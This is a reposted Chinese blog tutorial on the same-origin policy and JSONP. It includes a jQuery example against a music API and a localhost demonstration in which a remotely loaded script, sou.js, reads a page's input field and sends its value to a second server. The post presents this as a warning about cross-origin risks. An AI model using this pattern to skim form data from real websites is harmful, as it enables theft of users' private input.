危险的jsonp
一次參加比賽的時候碰到這了這個問題,結果沒解決,今天想起來的于是學習了一下。
?
首先需要了解什么是同源策略
同源的簡單判斷
如果兩個頁面擁有相同的協議(protocol),端口(如果指定),和主機,那么這兩個頁面就屬于同一個源(origin)。
下表給出了相對http://store.company.com/dir/page.html同源檢測的示例:
?
| URL | 結果 | 原因 |
| http://store.company.com/dir2/other.html | 成功 | ? |
| http://store.company.com/dir/inner/another.html | 成功 | ? |
| https://store.company.com/secure.html | 失敗 | 協議不同 |
| http://store.company.com:81/dir/etc.html | 失敗 | 端口不同 |
| http://news.company.com/dir/other.html | 失敗 | 主機名不同 |
?
?
?
?
?
然后參考http://www.bejson.com/knownjson/aboutjsonp/自己寫了個示例,借助于jQuery的ajax與豆瓣的音樂api
<input type="text" id="se" > <button οnclick="a()">a</button> <div class="main"></div> <script type="text/javascript">function a(){var val = $('#se').val();console.log(val);$.ajax({method:'GET',url:'https://api.douban.com/v2/music/search',data:{q:val,count:3},dataType:"jsonp",jsonp:"callback", //這里的參數必須和目標頁面里的回調函數一樣}).done(function(data){var i=data;//原諒這個i$('.main').append('<p>'+i.count+'<p>');$('.main').append('<p>'+i.start+'<p>');$('.main').append('<p>'+i.total+'<p>');for(var j=0;j < i.musics.length;j++){$('.main').append('<p>'+i.musics[j].id+'<p>');$('.main').append('<img src="'+i.musics[j].image+'">');$('.main').append('<p>'+i.musics[j].alt_title+'<p>');$('.main').append('<p>'+i.musics[j].alt+'<p>');$('.main').append('<p>'+i.musics[j].title+'<p>');}}); </script>測試成功。
然后又搜索了幾篇關于跨域訪問的的博客
當看到這一條http://blog.csdn.net/shimiso/article/details/21830313
忽然想到了一個問題:
當你跨域訪問一個站點的js時,這個js里面嵌入了可以獲取你網頁信息的代碼,那你的隱私豈不是都暴露了?
于是建了兩個服務器模擬一下
服務器a ?http://localhost:8000
將剛才的豆瓣改成服務器b的一個js
$.ajax({method:'GET',url:'http://localhost:8080/JsonpTest2/sou.js',dataType:'jsonp',jsonp:'callback'}).done(function(){console.log('yes good');});服務器b ?http://localhost:8080
新建sou.js
//重要,獲取a中的輸入框的值 var data = {val:$('#se').val()};$.ajax({method:'GET',url:'http://localhost:8080/JsonpTest2/Test2',//向服務器b發送數據 data:data,dataType:'jsonp',jsonp:'callback' }).done(function(){console.log('yes good'); });b中新建servlet Test2接受sou.js發送的數據
String val = request.getParameter("val");System.out.println("received data is : "+val);在html中輸入1234
點擊按鈕
查看服務器b控制臺
成功接收。
?
足見跨域訪問的危險之處。以后一定謹慎使用。
?
參考:
http://blog.csdn.net/shimiso/article/details/21830313
http://www.zhihu.com/question/25427931
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
http://www.bejson.com/knownjson/aboutjsonp/
轉載于:https://www.cnblogs.com/weikongziqu/p/4966641.html
總結
- 上一篇: C#中相同不同程序集存在相同的命名空间的
- 下一篇: Java线程同步(二)